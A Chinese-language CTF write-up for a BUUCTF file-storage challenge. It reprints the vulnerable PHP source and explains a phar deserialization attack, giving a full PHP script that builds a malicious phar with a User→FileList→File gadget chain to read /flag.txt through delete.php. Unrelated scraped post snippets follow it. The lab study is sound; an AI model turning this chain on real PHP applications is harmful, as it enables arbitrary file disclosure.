0x01源码
download.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
ini_set ( "open_basedir" , getcwd ( ) . ":/etc:/tmp" ) ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) && stristr ( $filename , "flag" ) === false ) {
Header ( "Content-type: application/octet-stream" ) ;
Header ( "Content-Disposition: attachment; filename=" . basename ( $filename ) ) ;
echo $file - > close ( ) ;
} else {
echo "File not exist" ;
}
?>
upload.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
include "class.php" ;
if ( isset ( $_FILES [ "file" ] ) ) {
$filename = $_FILES [ "file" ] [ "name" ] ;
$pos = strrpos ( $filename , "." ) ;
if ( $pos !== false ) {
$filename = substr ( $filename , 0 , $pos ) ;
}
$fileext = ".gif" ;
switch ( $_FILES [ "file" ] [ "type" ] ) {
case 'image/gif' :
$fileext = ".gif" ;
break ;
case 'image/jpeg' :
$fileext = ".jpg" ;
break ;
case 'image/png' :
$fileext = ".png" ;
break ;
default :
$response = array ( "success" = > false , "error" = > "Only gif/jpg/png allowed" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
die ( ) ;
}
if ( strlen ( $filename ) < 40 && strlen ( $filename ) !== 0 ) {
$dst = $_SESSION [ 'sandbox' ] . $filename . $fileext ;
move_uploaded_file ( $_FILES [ "file" ] [ "tmp_name" ] , $dst ) ;
$response = array ( "success" = > true , "error" = > "" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
} else {
$response = array ( "success" = > false , "error" = > "Invaild filename" ) ;
Header ( "Content-type: application/json" ) ;
echo json_encode ( $response ) ;
}
}
?>
class.php
error_reporting ( 0 ) ;
$dbaddr = "127.0.0.1" ;
$dbuser = "root" ;
$dbpass = "root" ;
$dbname = "dropbox" ;
$db = new mysqli ( $dbaddr , $dbuser , $dbpass , $dbname ) ;
class User {
public $db ;
public function __construct ( ) {
global $db ;
$this - > db = $db ;
}
public function user_exist ( $username ) {
$stmt = $this - > db - > prepare ( "SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > store_result ( ) ;
$count = $stmt - > num_rows ;
if ( $count === 0 ) {
return false ;
}
return true ;
}
public function add_user ( $username , $password ) {
if ( $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);" ) ;
$stmt - > bind_param ( "ss" , $username , $password ) ;
$stmt - > execute ( ) ;
return true ;
}
public function verify_user ( $username , $password ) {
if ( ! $this - > user_exist ( $username ) ) {
return false ;
}
$password = sha1 ( $password . "SiAchGHmFx" ) ;
$stmt = $this - > db - > prepare ( "SELECT `password` FROM `users` WHERE `username` = ?;" ) ;
$stmt - > bind_param ( "s" , $username ) ;
$stmt - > execute ( ) ;
$stmt - > bind_result ( $expect ) ;
$stmt - > fetch ( ) ;
if ( isset ( $expect ) && $expect === $password ) {
return true ;
}
return false ;
}
public function __destruct ( ) {
$this - > db - > close ( ) ;
}
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( $path ) {
$this - > files = array ( ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
$filenames = scandir ( $path ) ;
$key = array_search ( "." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
$key = array_search ( ".." , $filenames ) ;
unset ( $filenames [ $key ] ) ;
foreach ( $filenames as $filename ) {
$file = new File ( ) ;
$file - > open ( $path . $filename ) ;
array_push ( $this - > files , $file ) ;
$this - > results [ $file - > name ( ) ] = array ( ) ;
}
}
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
public function __destruct ( ) {
$table = '';
$table . = '';
foreach ( $this - > funcs as $func ) {
$table . = ' ' . htmlentities ( $func ) . ' ';
}
$table . = ' Opt ';
$table . = ' ';
foreach ( $this - > results as $filename = > $result ) {
$table . = '';
foreach ( $result as $func = > $value ) {
$table . = ' ' . htmlentities ( $value ) . ' ';
}
$table . = ' . htmlentities ( $filename ) . '">下载 / 删除 ';
$table . = ' ' ;
}
echo $table ;
}
}
class File {
public $filename ;
public function open ( $filename ) {
$this - > filename = $filename ;
if ( file_exists ( $filename ) && ! is_dir ( $filename ) ) {
return true ;
} else {
return false ;
}
}
public function name ( ) {
return basename ( $this - > filename ) ;
}
public function size ( ) {
$size = filesize ( $this - > filename ) ;
$units = array ( ' B' , ' KB' , ' MB' , ' GB' , ' TB' ) ;
for ( $i = 0 ; $size >= 1024 && $i < 4 ; $i ++ ) $size / = 1024 ;
return round ( $size , 2 ) . $units [ $i ] ;
}
public function detele ( ) {
unlink ( $this - > filename ) ;
}
public function close ( ) {
return file_get_contents ( $this - > filename ) ;
}
}
?>
delete.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
if ( ! isset ( $_POST [ 'filename' ] ) ) {
die ( ) ;
}
include "class.php" ;
chdir ( $_SESSION [ 'sandbox' ] ) ;
$file = new File ( ) ;
$filename = ( string) $_POST [ 'filename' ] ;
if ( strlen ( $filename ) < 40 && $file - > open ( $filename ) ) {
$file - > detele ( ) ;
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > true , "error" = > "" ) ;
echo json_encode ( $response ) ;
} else {
Header ( "Content-type: application/json" ) ;
$response = array ( "success" = > false , "error" = > "File not exist" ) ;
echo json_encode ( $response ) ;
}
?>
index.php
session_start ( ) ;
if ( ! isset ( $_SESSION [ 'login' ] ) ) {
header ( "Location: login.php" ) ;
die ( ) ;
}
?>
< ! DOCTYPE html>
< html>
< meta charset= "utf-8" >
< meta name= "viewport" content= "width=device-width, initial-scale=1, shrink-to-fit=no" >
< title> 网盘管理< / title>
< head>
< link href= "static/css/bootstrap.min.css" rel= "stylesheet" >
< link href= "static/css/panel.css" rel= "stylesheet" >
< script src= "static/js/jquery.min.js" > < / script>
< script src= "static/js/bootstrap.bundle.min.js" > < / script>
< script src= "static/js/toast.js" > < / script>
< script src= "static/js/panel.js" > < / script>
< / head>
< body>
< nav aria- label= "breadcrumb" >
< ol class = "breadcrumb" >
< li class = "breadcrumb-item active" > 管理面板< / li>
< li class = "breadcrumb-item active" > < label for = "fileInput" class = "fileLabel" > 上传文件< / label> < / li>
< li class = "active ml-auto" > < a href= "#" > 你好 echo $_SESSION [ 'username' ] ?> < / a> < / li>
< / ol>
< / nav>
< input type= "file" id= "fileInput" class = "hidden" >
< div class = "top" id= "toast-container" > < / div>
include "class.php" ;
$a = new FileList ( $_SESSION [ 'sandbox' ] ) ;
$a - > Name ( ) ;
$a - > Size ( ) ;
?>
题目分析
首先是我们注册和登录一个账号,然后主要的功能是,上传图片,下载和删除图片~~ 下载图片的时候,可以穿越目录下载源码~~
我们大致看一下源码,看哪儿可以读取源码~~ 在class.php中的函数close()可以读取文件~~ 其中download.php
会调用$file->close()
但是限制了filename不能包含flag,所以我们不能直接读取flag~~
我们的思路如下~
上传一个phar文件,后缀为图片的格式
然后在delete.php
中访问它,以phar://test.jpg
的形式,此时会调用file->open()中的file_exists()
会触发反序列化,(此时file_exists()返回的是false
)
此时只有user的__descruct
会调用close()
函数,但是没有回显功能,我们只能找一个有回显的地方进行序列化~
我们观察到FileList类的__descruct有echo函数,输出$table
,而$table
的内容来自$result
,我们再来看一下__call
函数~~
public function __call ( $func , $args ) {
array_push ( $this - > funcs , $func ) ;
foreach ( $this - > files as $file ) {
$this - > results [ $file - > name ( ) ] [ $func ] = $file - > $func ( ) ;
}
}
__call函数是指当调用类不存在的方法时就会调用__call函数·~ 其中$func就是指我们调用的不存在方法,而$args是指我们的参数~~, 通过代码我们知道假如我们调用close()方法,那么最后会调用
$file - > $func ( )
即$file->close()
,并且存入$result
中,那么file_get_contents
的内容就能回显出来了~~
最后的payload为:
class User {
public $db ;
}
class FileList {
private $files ;
private $results ;
private $funcs ;
public function __construct ( ) {
$file = new File ( ) ;
$file - > filename = '/flag.txt' ;
$this - > files = array ( $file ) ;
$this - > results = array ( ) ;
$this - > funcs = array ( ) ;
}
}
class File {
public $filename ;
}
@unlink ( "phar.phar" ) ;
$phar = new Phar ( "phar.phar" ) ;
$phar - > startBuffering ( ) ;
$phar - > setStub ( "" ) ;
$o = new User ( ) ;
$o - > db = new FileList ( ) ;
$phar - > setMetadata ( $o ) ;
$phar - > addFromString ( "exp.txt" , "glzjin" ) ;
$phar - > stopBuffering ( ) ;
?>
最后再说一下,为什么我们要通过delete.php触发phar反序列化,而不是通过download.php,两者都会调用file_exists()
,那是因为download.php有base_dir
限制,我们不能读出在/
目录下的文件~~
你可能感兴趣的:(BUUCTF刷题记录)
算法刷题记录——LeetCode篇(1) [第1~100题](持续更新)
Allen Wurlitzer
实战-算法解题 算法 leetcode 职场和发展
更新时间:2025-03-21LeetCode刷题目录:算法刷题记录——专题目录汇总技术博客总目录:计算机技术系列博客——目录页优先整理热门100及面试150,不定期持续更新,欢迎关注!1.两数之和给定一个整数数组nums和一个整数目标值target,请你在该数组中找出和为目标值target的那两个整数,并返回它们的数组下标。你可以假设每种输入只会对应一个答案,并且你不能使用两次相同的元素。你可以
[BJDCTF2020]JustRE
32304353
安全 汇编
打开程序发现需要进行点击获取flag拖入IDA进行分析F5挨个查看代码发现疑似falg的数据经过判断,需要点击19999次获得flag把%d带入即可获取flagflag{1999902069a45792d233ac}提交flag解题思路参考文章BUUCTF-[BJDCTF2020]JustRE1-CSDN博客
【hot100】刷题记录(46)-下一个排列
捞鱼哲学家
算法 数据结构 leetcode python
题目描述:整数数组的一个排列就是将其所有成员以序列或线性顺序排列。例如,arr=[1,2,3],以下这些都可以视作arr的排列:[1,2,3]、[1,3,2]、[3,1,2]、[2,3,1]。整数数组的下一个排列是指其整数的下一个字典序更大的排列。更正式地,如果数组的所有排列根据其字典顺序从小到大排列在一个容器中,那么数组的下一个排列就是在这个有序容器中排在它后面的那个排列。如果不存在下一个更大的
自用力扣刷题记录(Python,数组、字符串)
qq_40283123
文章目录一.数组69744844241274453最小操作次数使数组元素相等665非递减数列283移动的零118杨辉三角形119杨辉三角形2661图片平滑器598范围求和II419夹板上的战舰189旋转数组396旋转函数54螺旋矩阵59螺旋矩阵II498对角线遍历566重塑矩阵48旋转图像73矩阵置零289生命游戏303区域和检索-数组不可变304二维区域和检索-矩阵不可变238除自身以外数组的乘
力扣 Hot 100 刷题记录 - 二叉树的中序遍历
a李兆洋
leetcode 算法 职场和发展
力扣Hot100刷题记录-二叉树的中序遍历题目描述二叉树的中序遍历是力扣Hot100中的一道经典题目,题目要求如下:给定一个二叉树的根节点root,返回它的中序遍历结果。示例1:输入:root=[1,null,2,3]输出:[1,3,2]示例2:输入:root=[]输出:[]示例3:输入:root=[1]输出:[1]解题思路中序遍历是二叉树遍历的一种方式,遍历顺序为:左子树->根节点->右子树。常
小白力扣 Hot 100 刷题记录 - 三数之和
a李兆洋
leetcode 哈希算法 算法
力扣Hot100刷题记录-三数之和题目描述给你一个整数数组nums,判断是否存在三元组[nums[i],nums[j],nums[k]]满足i!=j、i!=k且j!=k,同时还满足nums[i]+nums[j]+nums[k]==0。请你返回所有和为0且不重复的三元组。示例:输入:nums=[-1,0,1,2,-1,-4]输出:[[-1,-1,2],[-1,0,1]]解释:-nums[0]+num
leetcode 贪心算法
gufly-
leetcode 贪心算法 算法
刷题记录以局部最优推出整体最优,且想不到反例,则可以尝试贪心算法455.分发饼干从后向前遍历孩子数组,用大饼干满足胃口大,并统计满足小孩数量classSolution(object):deffindContentChildren(self,g,s):g.sort()s.sort()res=0ind=len(s)-1foriinrange(len(g)-1,-1,-1):ifind>=0ands[i
算法训练(leetcode)二刷第三十八天 | 1143. 最长公共子序列、1035. 不相交的线、53. 最大子数组和、392. 判断子序列
Star Patrick
二刷日记 算法 leetcode 职场和发展
刷题记录1143.最长公共子序列1035.不相交的线53.最大子数组和动态规划优化版392.判断子序列1143.最长公共子序列leetcode题目地址本题和300.最长递增子序列相似(题解)。使用动态规划:dp数组含义:dp[i][j]表示以text1[i-1]结尾的子串A和以text2[j-1]结尾的子串B的最长公共子序列的长度。思路同300.最长递增子序列,每个状态更新基于前面的状态,为了防止
*算法训练(leetcode)第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
Star Patrick
刷题日记 算法 leetcode c++ 动态规划
刷题记录*115.不同的子序列*583.两个字符串的删除操作解法一解法二*72.编辑距离*115.不同的子序列leetcode题目地址dp[i][j]代表:以i-1结尾的s中包含以j-1结尾的t的个数。有以下两种情况:s[i-1]==t[i-1]:考虑s[i-1]不考虑s[i-1]s[i-1]!=t[i-1]题解思路时间复杂度:O(n2)O(n^2)O(n2)空间复杂度:O(n∗m)O(n*m)O
*算法训练(leetcode)第十七天 | 235. 二叉搜索树的最近公共祖先、701. 二叉搜索树中的插入操作、450. 删除二叉搜索树中的节点
Star Patrick
刷题日记 算法 leetcode c++
刷题记录235.二叉搜索树的最近公共祖先递归非递归701.二叉搜索树中的插入操作递归非递归*450.删除二叉搜索树中的节点235.二叉搜索树的最近公共祖先leetcode题目地址二叉搜索树(BST),左小右大。在BST中查找两个节点p、q的最近公共祖先时,使用前序遍历,访问到的第一个在两个节点的区间内[p,q]的节点就是公共祖先节点。当前节点值超出区间时借助BST性质(左小右大)向对应的方向缩小范
算法训练(leetcode)第二十三天 | 455. 分发饼干、*376. 摆动序列、53. 最大子数组和
Star Patrick
刷题日记 算法 leetcode c++
刷题记录455.分发饼干*376.摆动序列53.最大子数组和455.分发饼干leetcode题目地址贪心,两个数组排序,从前向后或从后向前均可,二者需保持同序,使用两个指针分别指向两个数组,当胃口满足时两个指针同时后移并计数,若不满足则饼干指针后移寻找合适的饼干。由于使用了两次快排,所以时间复杂度为O(nlogn)。时间复杂度:O(nlogn)O(nlogn)O(nlogn)空间复杂度:O(1)O
算法训练(leetcode)二刷第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
Star Patrick
二刷日记 算法 leetcode 职场和发展
刷题记录*115.不同的子序列583.两个字符串的删除操作思路一:转求公共子序列思路二:编辑距离(统计删除次数)72.编辑距离*115.不同的子序列leetcode题目地址编辑距离问题。题目要求在s串中查找t串出现的次数。dp数组含义:dp[i][j]表示以s[i-1]结尾的子串A中出现以t[j-1]为结尾的子串B的个数状态转移方程:题目要求在s串中查找t串出现的次数,因此只考虑对s串进行编辑。当
刷题记录 HOT100 图论-1:200. 岛屿数量
威尔逊。
刷题笔记 HOT100 图论 leetcode 算法 数据结构 笔记 深度优先 广度优先
题目:200.岛屿数量难度:中等给你一个由'1'(陆地)和'0'(水)组成的的二维网格,请你计算网格中岛屿的数量。岛屿总是被水包围,并且每座岛屿只能由水平方向和/或竖直方向上相邻的陆地连接形成。此外,你可以假设该网格的四条边均被水包围。示例1:输入:grid=[["1","1","1","1","0"],["1","1","0","1","0"],["1","1","0","0","0"],["0
LeetCode刷题记录No.1:两数之和
Cherish0719
leetcode leetcode python
#写在前面:代码和算法能力差,决定开始刷题为了找到好工作,坚持每天刷题打卡记录!1.两数之和给定一个整数数组nums和一个目标值target,请你在该数组中找出和为目标值的那两个整数,并返回他们的数组下标。你可以假设每种输入只会对应一个答案。但是,你不能重复利用这个数组中同样的元素。示例:给定nums=[2,7,11,15],target=9因为nums[0]+nums[1]=2+7=9所以返回[
PTA刷题记录:l1 002 时间沙漏
Alex_God 苑心
PTA刷题记录 c++
PTAl1–002时间沙漏首先分析题目需要的变量:一共用了多少字符(这里用(number*2-1)来表示),不难发现这个沙漏是对称的,所以我们只需要记录一半个数然后通过number*2-1来计算出口即可斜体样式第一行的字符个数(方便输出)空格的个数(详细见代码)巧妙计算输出可以采用对称输出,先输出上半部分,在输出下半部分c++代码(加注释)#includeusingnamespacestd;int
buuctf-变异凯撒
qis_qis
crypto 其他
凯撒密码作为最古老的密码体制之一,相信大多数人都知道,即简单的移位操作,那么问题来了,变异的凯撒密码又会是什么呢?拿到题先比对acsii码值对比表:acsii码通过上面的acsii码值对比表可以看到第一个字符向后移了5,第二个向后移了6,第三个向后移了7,以此类推,很容易想到变异凯撒即每个向后移的位数是前一个加1:str="afZ_r9VYfScOeO_UL^RWUc"k=5foriinstr:p
buuctf-Quoted-printable
qis_qis
crypto
解压打开:=E9=82=A3=E4=BD=A0=E4=B9=9F=E5=BE=88=E6=A3=92=E5=93=A6刚开始看到这一个字符串,误以为是什么编码特有的格式直到后面发现标题即提示,即Quoted-printable也是一种编码:得到flag:那你也很棒哦
刷题记录4---二叉树的中序遍历+对称二叉树+二叉树的最大深度+翻转二叉树+二叉树的直径
热巴的小哥哥
算法和数据结构 数据结构 算法
前言所有题目均来自力扣题库中的hot100,之所以要记录在这里,只是方便后续复习94.二叉树的中序遍历题目:给定一个二叉树的根节点root,返回它的中序遍历。示例1:输入:root=[1,null,2,3]输出:[1,3,2]示例2:输入:root=[]输出:[]示例3:输入:root=[1]输出:[1]解题思路:【递归】中序遍历即先遍历左节点,再遍历根节点,最后遍历右节点;可采用递归的方法,也可
HDLBits刷题记录——Conwaylife
Candy_579
verilog
导言HDLBits网站Morecircuits中的Conwaylife即Gameoflife,由数学家JohnConway创造。之所以特别关注到这个题目,是因为某位同学曾拿这个游戏作为一门芯片设计课程的PJ。当时觉得生命游戏在众多坦克大战、走迷宫等小游戏中挺有新意,其实现程度比这个题目本身要复杂很多,比如精美的GUI和复杂的场景。思路题目告诉我们,这个16×16的细胞网格是一个toroid,可以理
【找工作】Codefun刷题记录
在雨中612
求职 笔记
文章目录字节2024101320240929https://codefun2000.com/字节https://codefun2000.com/pset/672ec37d6f06d8fe4b28c33820241013https://codefun2000.com/p/P2181第2题-字典序题目有个坑是“恰好”。意味着即使已经是最优了,但是还没用完操作数,就必须再得操作一次,导致有可能不是最优的
138,【5】buuctf web [RootersCTF2019]I_<3_Flask
rzydal
flask python 后端
进入靶场这段代码是利用Python的类继承和反射机制来尝试执行系统命令读取flag.txt文件内容''.__class__:空字符串对象调用__class__属性,得到str类,即字符串的类型。__class__.__base__:str类的__base__属性指向其基类,在Python中str是新式类,其基类是object。__base__.__subclasses__():object类的__
141,【1】buuctf web [SUCTF 2019]EasyWeb
rzydal
web 安全
进入靶场代码审计18){die('Oneinchlong,oneinchstrong!');}//使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行if(preg_match('/[\x00-0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i',$hhh))die('Trysomethingelse!');//获取$hhh中使用到的字符,
刷题记录04
灵之未来
算法练习记录 学习 算法 java
力扣530.二叉搜索树的最小绝对值给你一个二叉搜索树的根节点root,返回树中任意两不同节点值之间的最小差值。差值是一个正数,其数值等于两值之差的绝对值。树中节点的数目范围是[2,104]0list=newArrayListstack=newStackmap=newHashMaplist=newArrayListm:map.entrySet()){if(m.getValue()>maxCount)
BUUCTF 逆向工程(reverse)之Java逆向解密
若丶时光破灭
CTF-逆向工程 CTF 逆向工程
程序员小张不小心弄丢了加密文件用的秘钥,已知还好小张曾经编写了一个秘钥验证算法,聪明的你能帮小张找到秘钥吗?注意:得到的flag请包上flag{}提交下载好题目后,发现它是个以.class为后缀的。所以用JD-GUI打开这个文件。就可以看到Java代码importjava.util.ArrayList;importjava.util.Scanner;publicclassReverse{publi
leetcode hot 100 刷题记录(medium)
激昂~逐流
Leetcode leetcode 算法
题目3:无重复字符的最长子串(YES)解题思路:其实最好想到的方法就是使用两层for,让每个字符都可以是子串的首字符,查看哪个子串的长度最长即可。给定一个字符串s,请你找出其中不含有重复字符的最长子串的长度。classSolution{public:intlengthOfLongestSubstring(strings){//暴力的一次for,检查每个字符作为首字符时候的最长子串if(s.size
【代码随想录训练营第42期 打卡总结 - 刷题记录】
逝去的秋风
代码随想录打卡 总结
目录一、感受二、打卡内容数组:链表:哈希表:字符串:栈与队列:二叉树:回溯:贪心:动态规划:单调栈:图论:三、收尾一、感受先说说这两个月来代码随想录打卡刷题的感受吧。从一开始的数组二分双指针,到最后的图论最短路,难度可以说是在不断增加,但也确切感觉到了很大的收获。印象最深的就是回溯三部曲和动规五部曲了,可以说真的是让我真正理解了回溯的实现过程和动规的解题思路,受益匪浅。跟着训练营坚持打卡的这段日子
【无标题】
Fansv587
数据结构
牛客刷题记录错题Java只能输入零和非零开头的数字,正确的正则表达式是:^(0|[1-9][0-9]*)$在一个有8个int数据的数组中,随机给出数组的数据,找出最大和第二大元素一定需要进行(9)次比较:Whichstatementdeclaresavariableawhichissuitableforreferringtoanarrayof50stringobjects?在java中,声明一个数
刷题记录——动态规划
Nyla_
动态规划 算法
1.《过马卒》一道入门dp借着本题还玩了一晚上象棋(bushi本蒟蒻终于(复述)了一遍佬的答案,思路是这样的理解题目在过河卒问题里,棋盘上有一个卒和一匹马。卒只能向下或者向右移动,马会控制它所在位置以及按照“日”字规则能跳到的位置,卒不能经过马控制的点。我们的目标是计算卒从棋盘左上角走到右下角有多少种不同的路径。检查点是否被马控制的函数check根据马走“日”字的规则,马控制的点满足两个条件:一是
BUUCTF——[极客大挑战 2019]PHP
south_1
web php php
打开题目,页面上显示说习惯备份,尝试下载备份www.zip,下载后打开查看flag文件里并不是flag,查看其他的在class文件中发现代码,应该是让我们反序列化,给出源代码username=$username;$this->password=$password;}function__wakeup(){$this->username='guest';}function__destruct(){if
BUUCTF Crypto题目记录
Vigorousy
密码学
MD5e00cf25ad42683b3df678c61f42c6bda进行MD5加密flag{admin1}Url编码%66%6c%61%67%7b%61%6e%64%20%31%3d%31%7dflag{and1=1}看我回旋踢synt{5pq1004q-86n5-46q8-o720-oro5on0417r1}观察已知字符串已经存在flag雏形,猜测为凯撒密码flag{5cd1004d-86a5
Java序列化进阶篇
g21121
java序列化
1.transient
类一旦实现了Serializable 接口即被声明为可序列化,然而某些情况下并不是所有的属性都需要序列化,想要人为的去阻止这些属性被序列化,就需要用到transient 关键字。
escape()、encodeURI()、encodeURIComponent()区别详解
aigo
JavaScript Web
原文:http://blog.sina.com.cn/s/blog_4586764e0101khi0.html
JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:,decodeURI,decodeURIComponent 。
下面简单介绍一下它们的区别
1 escape()函
ArcgisEngine实现对地图的放大、缩小和平移
Cb123456
添加矢量数据 对地图的放大、缩小和平移 Engine
ArcgisEngine实现对地图的放大、缩小和平移:
个人觉得是平移,不过网上的都是漫游,通俗的说就是把一个地图对象从一边拉到另一边而已。就看人说话吧.
具体实现:
一、引入命名空间
using ESRI.ArcGIS.Geometry;
using ESRI.ArcGIS.Controls;
二、代码实现.
Java集合框架概述
天子之骄
Java集合框架概述
集合框架
集合框架可以理解为一个容器,该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。
从本质上来说,Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。
简单介绍:
Collection接口是最基本的接口,它定义了List和Set,List又定义了LinkLi
旗正4.0页面跳转传值问题
何必如此
java jsp
跳转和成功提示
a) 成功字段非空forward
成功字段非空forward,不会弹出成功字段,为jsp转发,页面能超链接传值,传输变量时需要拼接。接拼接方式list.jsp?test="+strweightUnit+"或list.jsp?test="+weightUnit+&qu
全网唯一:移动互联网服务器端开发课程
cocos2d-x小菜
web开发 移动开发 移动端开发 移动互联 程序员
移动互联网时代来了! App市场爆发式增长为Web开发程序员带来新一轮机遇,近两年新增创业者,几乎全部选择了移动互联网项目!传统互联网企业中超过98%的门户网站已经或者正在从单一的网站入口转向PC、手机、Pad、智能电视等多端全平台兼容体系。据统计,AppStore中超过85%的App项目都选择了PHP作为后端程
Log4J通用配置|注意问题 笔记
7454103
DAO apache tomcat log4j Web
关于日志的等级 那些去 百度就知道了!
这几天 要搭个新框架 配置了 日志 记下来 !做个备忘!
#这里定义能显示到的最低级别,若定义到INFO级别,则看不到DEBUG级别的信息了~!
log4j.rootLogger=INFO,allLog
# DAO层 log记录到dao.log 控制台 和 总日志文件
log4j.logger.DAO=INFO,dao,C
SQLServer TCP/IP 连接失败问题 ---SQL Server Configuration Manager
darkranger
sql c windows SQL Server XP
当你安装完之后,连接数据库的时候可能会发现你的TCP/IP 没有启动..
发现需要启动客户端协议 : TCP/IP
需要打开 SQL Server Configuration Manager...
却发现无法打开 SQL Server Configuration Manager..??
解决方法: C:\WINDOWS\system32目录搜索framedyn.
[置顶] 做有中国特色的程序员
aijuans
程序员
从出版业说起 网络作品排到靠前的,都不会太难看,一般人不爱看某部作品也是因为不喜欢这个类型,而此人也不会全不喜欢这些网络作品。究其原因,是因为网络作品都是让人先白看的,看的好了才出了头。而纸质作品就不一定了,排行榜靠前的,有好作品,也有垃圾。 许多大牛都是写了博客,后来出了书。这些书也都不次,可能有人让为不好,是因为技术书不像小说,小说在读故事,技术书是在学知识或温习知识,有些技术书读得可
document.domain 跨域问题
avords
document
document.domain用来得到当前网页的域名。比如在地址栏里输入:javascript:alert(document.domain); //www.315ta.com我们也可以给document.domain属性赋值,不过是有限制的,你只能赋成当前的域名或者基础域名。比如:javascript:alert(document.domain = "315ta.com");
关于管理软件的一些思考
houxinyou
管理
工作好多看年了,一直在做管理软件,不知道是我最开始做的时候产生了一些惯性的思维,还是现在接触的管理软件水平有所下降.换过好多年公司,越来越感觉现在的管理软件做的越来越乱.
在我看来,管理软件不论是以前的结构化编程,还是现在的面向对象编程,不管是CS模式,还是BS模式.模块的划分是很重要的.当然,模块的划分有很多种方式.我只是以我自己的划分方式来说一下.
做为管理软件,就像现在讲究MVC这
NoSQL数据库之Redis数据库管理(String类型和hash类型)
bijian1013
redis 数据库 NoSQL
一.Redis的数据类型
1.String类型及操作
String是最简单的类型,一个key对应一个value,string类型是二进制安全的。Redis的string可以包含任何数据,比如jpg图片或者序列化的对象。
Set方法:设置key对应的值为string类型的value
Tomcat 一些技巧
征客丶
java tomcat dos
以下操作都是在windows 环境下
一、Tomcat 启动时配置 JAVA_HOME
在 tomcat 安装目录,bin 文件夹下的 catalina.bat 或 setclasspath.bat 中添加
set JAVA_HOME=JAVA 安装目录
set JRE_HOME=JAVA 安装目录/jre
即可;
二、查看Tomcat 版本
在 tomcat 安装目
【Spark七十二】Spark的日志配置
bit1129
spark
在测试Spark Streaming时,大量的日志显示到控制台,影响了Spark Streaming程序代码的输出结果的查看(代码中通过println将输出打印到控制台上),可以通过修改Spark的日志配置的方式,不让Spark Streaming把它的日志显示在console
在Spark的conf目录下,把log4j.properties.template修改为log4j.p
Haskell版冒泡排序
bookjovi
冒泡排序 haskell
面试的时候问的比较多的算法题要么是binary search,要么是冒泡排序,真的不想用写C写冒泡排序了,贴上个Haskell版的,思维简单,代码简单,下次谁要是再要我用C写冒泡排序,直接上个haskell版的,让他自己去理解吧。
sort [] = []
sort [x] = [x]
sort (x:x1:xs)
| x>x1 = x1:so
java 路径 配置文件读取
bro_feng
java
这几天做一个项目,关于路径做如下笔记,有需要供参考。
取工程内的文件,一般都要用相对路径,这个自然不用多说。
在src统计目录建配置文件目录res,在res中放入配置文件。
读取文件使用方式:
1. MyTest.class.getResourceAsStream("/res/xx.properties")
2. properties.load(MyTest.
读《研磨设计模式》-代码笔记-简单工厂模式
bylijinnan
java 设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* 个人理解:简单工厂模式就是IOC;
* 客户端要用到某一对象,本来是由客户创建的,现在改成由工厂创建,客户直接取就好了
*/
interface IProduct {
SVN与JIRA的关联
chenyu19891124
SVN
SVN与JIRA的关联一直都没能装成功,今天凝聚心思花了一天时间整合好了。下面是自己整理的步骤:
一、搭建好SVN环境,尤其是要把SVN的服务注册成系统服务
二、装好JIRA,自己用是jira-4.3.4破解版
三、下载SVN与JIRA的插件并解压,然后拷贝插件包下lib包里的三个jar,放到Atlassian\JIRA 4.3.4\atlassian-jira\WEB-INF\lib下,再
JWFDv0.96 最新设计思路
comsci
数据结构 算法 工作 企业应用 公告
随着工作流技术的发展,工作流产品的应用范围也不断的在扩展,开始进入了像金融行业(我已经看到国有四大商业银行的工作流产品招标公告了),实时生产控制和其它比较重要的工程领域,而
vi 保存复制内容格式粘贴
daizj
vi 粘贴 复制 保存原格式 不变形
vi是linux中非常好用的文本编辑工具,功能强大无比,但对于复制带有缩进格式的内容时,粘贴的时候内容错位很严重,不会按照复制时的格式排版,vi能不能在粘贴时,按复制进的格式进行粘贴呢? 答案是肯定的,vi有一个很强大的命令可以实现此功能 。
在命令模式输入:set paste,则进入paste模式,这样再进行粘贴时
shell脚本运行时报错误:/bin/bash^M: bad interpreter 的解决办法
dongwei_6688
shell脚本
出现原因:windows上写的脚本,直接拷贝到linux系统上运行由于格式不兼容导致
解决办法:
1. 比如文件名为myshell.sh,vim myshell.sh
2. 执行vim中的命令 : set ff?查看文件格式,如果显示fileformat=dos,证明文件格式有问题
3. 执行vim中的命令 :set fileformat=unix 将文件格式改过来就可以了,然后:w
高一上学期难记忆单词
dcj3sjt126com
word english
honest 诚实的;正直的
argue 争论
classical 古典的
hammer 锤子
share 分享;共有
sorrow 悲哀;悲痛
adventure 冒险
error 错误;差错
